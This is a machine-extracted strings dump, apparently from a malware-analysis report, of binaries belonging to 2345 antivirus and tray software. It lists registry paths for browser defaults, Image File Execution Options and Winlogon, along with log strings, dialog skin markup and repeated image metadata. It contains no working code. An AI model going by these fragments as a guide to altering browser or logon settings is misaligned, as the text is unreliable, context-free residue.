Software\Policies\Microsoft\Windows\Control Panel\Desktop
SOFTWARE\Microsoft\Windows\CurrentVersion\Image File Execution Options
Software\Microsoft\Windows NT\CurrentVersion\Windows
RCAvEnumService::EnumImpl servicename = %s, hSCH = %x
RCAvEnumService.cpp
svchost.exe
RCAvEnumService::EnumImpl scItemName = %s
Psapi.dll
RCAvEnumIMPL::FireFileEnumEvent scanType = %d, scanSubType = %d, file = %s
RCAvEnumIMPL.cpp
Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice
y2345Browser.exe
http\shell\open\command
Software\Classes\.html
Shlwapi.dll
SOFTWARE\2345chrome
%programfiles(x86)%\Internet Explorer\iexplore.exe
Shell32.dll
%programfiles%\Internet Explorer\iexplore.exe
crypt32.dll
AdvApi32.dll
CCryptdll.dll
2345AvScan{7FBF1E96-74E9-4ba6-94BA-814D058F2B2E}
ORCEventMsgWindow
RCAvScanProxy.cpp
RCAvScanUtils.cpp
RCAvScanUtils::CalcFileMD5 execption
SetThreadPriority execption
RC::RCAvOperatorCMDIMPL::AsyncOperator
RCAvOperatorCMDIMPL.cpp
RCAvOperatorCMDIMPL::AsyncOperator execption
RegDeleteValue failed, error = %d
RC::RCAvOperatorQuarantineStartUp::OperatorImpl
RCAvOperatorQuarantineFile::OperatorImpl
RC::RCAvOperatorQuarantineFile::OperatorImpl
RCAvOperatorQuarantineStartUp::OperatorImpl
RCAvOperatorTrustFile::OperatorImpl
RC::RCAvOperatorUnTrust::OperatorImpl
RC::RCAvOperatorTrustFile::OperatorImpl
RCAvOperatorUnTrust::OperatorImpl
iphlpapi.dll
hXXp://
db.safe.2345.com
2345AvScan-RCAvTrustDb{EF6AFE40-9F37-476e-9541-5DDA5E41D073}
000000000000
RCAvTrustDb::Initialize execption
2345AvScanT.data
RCAvTrustDb::SaveTrustData execption
RCAvTrustDb.cpp
RCAvTrustDb::AddTrustItem execption
RCAvTrustDb::GetTrustItem execption
RCAvTrustDb::RemoveTrustItem execption
RCAvFileQuarantine::QuarantineFile execption
Compress file failed with %d!
RCAvFileQuarantine::QuarantineFile file = %s
Quarantine.data
%s%I64x
RCAvFileQuarantine.cpp
RCAvFileQuarantine::QuarantineFile tempFile = %s, qfile = %s
Copy file failed with %d!
scan_reg_key
netapi32.dll
Iphlpapi.dll
xxxxxx
SYSTEM\CurrentControlSet\Control\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}\
SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
RCAvTaskThread.cpp
RCAvTaskThread::AddTask execption
RCAvScanDb::AddItem execption
RCAvScanDb::GetItem execption
..\ScanCommon\RCAvScanDbUtils.cpp
RCAvScanDb::RemoveItem execption
RCAvScanDb::ConvertToFileInfo execption
RCAvScanDb::IsitemExist execption
PRIMARY KEY AUTOINCREMENT
Open db %s failed
RC::RCSQLite3DB::ExecSQL
DbUtils\RCSQLite3DB.cpp
select count(*) from sqlite_master where type='table' and name='%s'
hXXp://VVV.2345.com
1.3.0.5363
1.3.0

2345SafeTray.exe_1144:

.text
`.rdata
@.data
.rsrc
@.reloc
<y%ulj
?%u";q
0,0,-0,%d
0,-%d,-0,-0
0,0,-0,-0
crtext
msgtext
skin%d
sub%d
updateurl
WebBrowsers
DdexecDefaultValue
login
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
userinit.exe
RegDeleteKeyExW
&#xX;
</%s>
%s="%s"
%s='%s'
<![CDATA[%s]]>
<!--%s-->
version="%s"
encoding="%s"
standalone="%s"
Windows XP: GB18030 Simplified Chinese (4 Byte)
CryptCATCatalogInfoFromContext
CertNameToStrW
COMCTL32.DLL
User32.dll
ShellExecuteExW
Shell32.dll
RegOpenKeyExW
RegCloseKey
ShellExecuteW
2345.com--
NetWkstaTransportEnum
F:\2345
\1.3.0.5362\guard\bin\Win32\Release\pdb\2345SafeTray.pdb
2345RegMon.dll
InternetCrackUrlW
HttpOpenRequestW
HttpSendRequestW
InternetOpenUrlW
HttpQueryInfoW
HttpSendRequestExW
HttpEndRequestW
WININET.dll
GetProcessHeap
GetWindowsDirectoryW
KERNEL32.dll
GetKeyState
USER32.dll
GDI32.dll
RegCreateKeyExA
RegCreateKeyExW
RegEnumKeyExW
RegDeleteKeyW
ADVAPI32.dll
SHFileOperationW
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHDeleteKeyW
SHLWAPI.dll
COMCTL32.dll
GdiplusShutdown
gdiplus.dll
MSVCP110.dll
MSVCR110.dll
_calloc_crt
__crtGetShowWindowMode
_amsg_exit
_acmdln
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
__crtSetUnhandledExceptionFilter
VERSION.dll
IPHLPAPI.DLL
PSAPI.DLL
RegEnumKeyW
RegQueryInfoKeyW
.?AV?$CWHRoundRectFrameHelper@VCBkSafeMsgBox@@@@
.?AV?$CBkDialogImpl@VCBkSafeMsgBox@@VCBkDialogView@@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@4@@@
.?AV?$CWindowImpl@VCBkSafeMsgBox@@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@
.?AVCBkSafeMsgBox@@
.?AVRCRTProtectCtrl@RC@@
.?AVIOperateCallback@RC@@
.?AVRCHttpFile@RC@@
.?AVRCMD5@RC@@
.?AV?$sp_counted_impl_p@VRCHashCalcMD5@RC@@@detail@boost@@
.?AVRCHashCalcMD5@RC@@
.?AVRCHttpRequest@RC@@
<imghorzex name="msgboxhead" src="205" left="0" top="-1" right="430"/>
<imgframe name="msgboxbody" left="0" crbg="FBFCFD" part="middle"/>
<imghorzex name="msgboxfoot" left="2" crbg="F7F8FF"/>
<imghorzex name="msgboxheadorange" src="210" left="0" top="-1" right="430"/>
<imghorzex name="msgboxheadred" src="211" left="0" top="-1" right="430"/>
<imghorzex name="msgboxheadblue" src="212" left="0" top="-1" right="430"/>
<imghorzex name="tab_operate_area" src="213" mode="mask" subwidth="7"/>
<imgframe name="tab_operate_bg" src="214" top="36" left="3"/>
<png name="icon_msgbox_warn" src="110"/>
<class name="mainhead" skin="mainbghead" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="mainbody" skin="mainbgbody" font="0000" crtext="000000" crbg="FFFFFF" />
<class name="mainfoot" skin="mainbgfoot" font="0000" crtext="000000" crbg="FFFFFF"/>
<class name="clientbody" font="0000" crtext="000000" crbg="FFFFFF" />
<class name="textblue" font="0000" crtext="006299" />
<class name="linktext" font="0002" crtext="3064A5" crhover="3064A5" cursor="hand"/>
<class name="msgboxhead" skin="msgboxhead" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="msgboxbody" skin="msgboxbody" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="msgboxfoot" skin="msgboxfoot" font="0000" crtext="000000" crbg="FBFCFD"/>
<class name="dlgtitle" font="0000" crtext="FFFFFF"/>
<class name="normalbtn" skin="normalbtn" font="0000" crtext="000000" textmode="25" cursor="hand" x-margin="5"/>
<class name="msgtext" font="0000" crtext="000000" textmode="850"/>
<class name="msgtext1" font="0000" crtext="696969" textmode="850"/>
<class name="msgtext2" font="0004" crtext="0000CD" textmode="850"/>
<class name="msgtext3" font="0002" crtext="0000FF" textmode="850" cursor="hand"/>
<class name="msgtext4" font="0004" crtext="DC143C" textmode="850"/>
<class name="modifylinktext" font="0000" hoverfont="0000" crtext="318EF8" crhover="47a8fc" cursor="hand"/>
<class name="msgboxheadorange" skin="msgboxheadorange" font="0000" crtext="000000" crbg="DC0000"/>
<class name="msgboxheadred" skin="msgboxheadred" font="0000" crtext="000000" crbg="F35B10"/>
<class name="msgboxheadblue" skin="msgboxheadblue" font="0000" crtext="000000"/>
<class name="headline" font="0404" crtext="FFFFFF"/>
<class name="btn_text_blue" font="0000" crtext="3C96F2" crhover="66B2FF" cursor="hand"/>
<class name="tab_operate_bg" skin="tab_operate_bg" font="0000" crtext="000000" crbg="FFFFFF" x-margin="0"/>
<class name="btn_tab" font="0204" hoverfont="0204" crtext="4D4D4D" crhover="3C96F2" cursor="hand"/>
<class name="log_dlg_head" skin="log_dlg_head" font="0000" crtext="000000" crbg="FBFCFD"/>
<!-- msgbox begin -->
<s id="317"><button id=%d pos="%d,0,%d,-0" class=normalbtn>%s</button></s>
<s id="326"><dlg pos="|-%d,0,|%d,-0">%s</dlg></s>
<!-- msgbox end -->
%s</s>
<s id="328">%d
(%d)</s>
<s id="330">%d
<s id="331">%d
<s id="341">%d
<s id="365">%d-d-d d:d</s>
%s</s>
(%s)</s>
</c><c color=DC0000>%s</c></s>
VVV.2345.com<c color="DC0000">
%s</c></s>
<header class="msgboxhead" width="full" height="31">
<text id="60004" class="dlgtitle" pos="25,10">%str7%</text>
<footer class="msgboxfoot" width="full" height="55">
<body class="msgboxbody" width="full" height="full">
<text id="60006" pos="70,30,-0,-0" class="msgtext"/>
<dlg show="0" id="60016" pos="70,30,-0,-0" class="msgtext"/>
<header class="msgboxhead" width="full" height="30">
<footer class="msgboxfoot" width="full" height="45">
<text pos="120,45" crtext="4c4c4c" font="0204">
<text pos="120,70" crtext="000000" font="0000">
<text pos="120,85" crtext="000000" font="0000">
<text id="406" crtext="4D4D4D" font="0304" pos="33,15">
<text id="407" crtext="f35b10" pos="33,-50"></text>
<text id="410" crtext="666666" pos="-182,65">
<text id="411" crtext="666666" pos="-76,65">
<text id="415" crtext="7F8DA1" pos="-190,-30"></text>
<text id="418" crtext="7F8DA1" pos="38,-30">
<text id="427" crtext="4D4D4D" font="0304" pos="33,15">
<text id="428" crtext="666666" pos="33,42">
<text id="429" crtext="666666" pos="115,42"></text>
<text id="703" crtext="7F8DA1" pos="-200,-30"></text>
<text id="440" crtext="4D4D4D" font="0304" pos="33,15">
<text id="441" crtext="f35b10" pos="50,-50"></text>
<text id="444" crtext="666666" pos="-182,65">
<text id="445" crtext="666666" pos="-76,65">
<text id="449" crtext="7F8DA1" pos="-190,-30"></text>
<text id="452" crtext="7F8DA1" pos="38,-30">
<text id="459" crtext="4D4D4D" font="0104" pos="40,23">2345
<text id="706" crtext="7F8DA1" pos="-182,-30"></text>
<header class="msgboxheadred" width="full" height="95">
<text id="1005" font="0000" crtext="999999" pos="-250,15">20
<header class="msgboxbody" width="full" height="35">
<text crtext="676767" pos="110,8">2345
<text font="0004" crtext="50AD21" pos="110,10">
<text id="1101" font="0000" crtext="333333" pos="110,28,-10,48"></text>
<header class="msgboxheadorange" width="full" height="95">
<text id="1203" font="0000" crtext="999999" pos="-250,15">20
<header class="msgboxheadblue" width="full" height="35">
<text crtext="676767" pos="28,8">2345
<text id="1302" font="0404" crtext="50AD21" pos="65,28">
<text font="0800" crtext="FFFFFF" pos="64,42">2345
<text id="1403" class="btn_tab" crtext="3C96F2" pos="37,20">
<text id="1404" class="btn_tab" crtext="4D4D4D" pos="37,70">
<text font="0000" crtext="666666" pos="54,8">
<dlg pos="0,0,-0,-0" crbg="FBFCFD" class="tab_operate_bg">
<tabctrl id="1501" tabwidth="100" tabheight="30" tabskin="tab_operate_area" tabspacing="0" tabpos="0" framepos="0" pos="0,0,-0,-0" icon-x="2" icon-y="2" text-x="2" text-y="2">
" width="full" height="full" crtext="000000" crbg="FCFEFF">
<text crtext="4C4C4C" pos="10,8">
<text id="1511" pos="41,15" crtext="4C4C4C">
<text id="1512" pos="41,15" crtext="4C4C4C">
<img pos="30,25" skin="icon_msgbox_warn"/>
<text id="10003" pos="83,45,-10,65" font="0000" crtext="808080"></text>
<text id="10005" pos="50,11" crtext="808080" show="0">
<header class="msgboxhead" width="full" height="30">
<header class="msgboxhead" width="full" height="118">
<text crtext="FFFFFF" pos="92,54">
<text id="2001" font="0404" crtext="FFFFFF" pos="92,74">IE
<body class="msgboxbody" width="full" height="full">
<footer class="msgboxfoot" width="full" height="50">
<text id="3001" font="0404" crtext="FFFFFF" pos="92,74">IE
<text id="3004" crtext="DC0000" pos="110,45"></text>
<text id="4001" font="0004" crtext="50AD21" pos="110,45">
g,Uy%u5
.ehIo
`.Wmi
.Gbvr
fiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:5EC6899E410B11E38286A2CA3B0C119E" xmpMM:InstanceID="xmp.iid:5EC6899D410B11E38286A2CA3B0C119E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BBBDBFD70A41E311BF53BBF3DE12B0AA" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
iiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4EC536EBB64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4EC536EAB64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
NA.Ts
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4EC536EFB64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4EC536EEB64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>(
jiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:3BF1B87D279311E4911FBA1B368149E8" xmpMM:InstanceID="xmp.iid:3BF1B87C279311E4911FBA1B368149E8" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:033f9e5f-1e3b-f645-8e8b-43ad373cf9c5" stRef:documentID="xmp.did:9377102A410F11E3B2B7E62FF74B60EE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
E MbO.tY';
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:8A9AB3700045E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:C70C9902280911E4968ABECBA24B51A6" xmpMM:InstanceID="xmp.iid:C70C9901280911E4968ABECBA24B51A6" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:c1db84f6-c644-5942-ba17-059d6b636143" stRef:documentID="xmp.did:4743F3CD450211E3BFE287E4121697C3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:83107FA5477511E38907EA5D748ED802" xmpMM:InstanceID="xmp.iid:83107FA4477511E38907EA5D748ED802" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:14D799907447E311B68E9555C71CFBCD" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>]W
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:8A21A802D5C811E3BE8B88726C1FD775" xmpMM:InstanceID="xmp.iid:8A21A801D5C811E3BE8B88726C1FD775" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f6062034-dc4c-a647-b276-a347202dcc07" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:8A21A7FED5C811E3BE8B88726C1FD775" xmpMM:InstanceID="xmp.iid:8A21A7FDD5C811E3BE8B88726C1FD775" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f6062034-dc4c-a647-b276-a347202dcc07" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
qiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:11837bb8-411a-d446-8603-91e1371a60b1" xmpMM:DocumentID="xmp.did:E84208A9A29511E39EBB89CEE3E1C7E8" xmpMM:InstanceID="xmp.iid:E84208A8A29511E39EBB89CEE3E1C7E8" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ed9ca384-9402-8046-b386-aedada4c2ee1" stRef:documentID="xmp.did:11837bb8-411a-d446-8603-91e1371a60b1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>-?
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:11837bb8-411a-d446-8603-91e1371a60b1" xmpMM:DocumentID="xmp.did:F7653997A29511E3BDF2FDB4468751A6" xmpMM:InstanceID="xmp.iid:F7653996A29511E3BDF2FDB4468751A6" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ed9ca384-9402-8046-b386-aedada4c2ee1" stRef:documentID="xmp.did:11837bb8-411a-d446-8603-91e1371a60b1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6685727E4A36E3118C21EFB47D5B10CF" xmpMM:DocumentID="xmp.did:643A0D2FD4E011E3B9C6997A4F00D147" xmpMM:InstanceID="xmp.iid:643A0D2ED4E011E3B9C6997A4F00D147" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e995139e-c2f5-034a-9729-ace8e4aff791" stRef:documentID="xmp.did:6685727E4A36E3118C21EFB47D5B10CF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
[.Bc|"
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6685727E4A36E3118C21EFB47D5B10CF" xmpMM:DocumentID="xmp.did:DF63E521D4DF11E382FB9CACABF6B1CF" xmpMM:InstanceID="xmp.iid:DF63E520D4DF11E382FB9CACABF6B1CF" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5d8d9292-5570-964b-aeb8-602a0fac5c2e" stRef:documentID="xmp.did:6685727E4A36E3118C21EFB47D5B10CF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:74D98EE5D4D211E39376EE28142FEDF2" xmpMM:InstanceID="xmp.iid:74D98EE4D4D211E39376EE28142FEDF2" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4ce7de29-6b1f-0b4c-bc2d-e41f823d3313" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>d1
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:750E5B44D4D211E39376EE28142FEDF2" xmpMM:InstanceID="xmp.iid:750E5B43D4D211E39376EE28142FEDF2" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4ce7de29-6b1f-0b4c-bc2d-e41f823d3313" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:B7694EE8D50711E38F06E09953673EC6" xmpMM:InstanceID="xmp.iid:B7694EE7D50711E38F06E09953673EC6" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:82f390d6-2a74-6d42-8f5b-ea6afc21d9d0" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>)|,
eiTXtXML:com.adobe.xmp
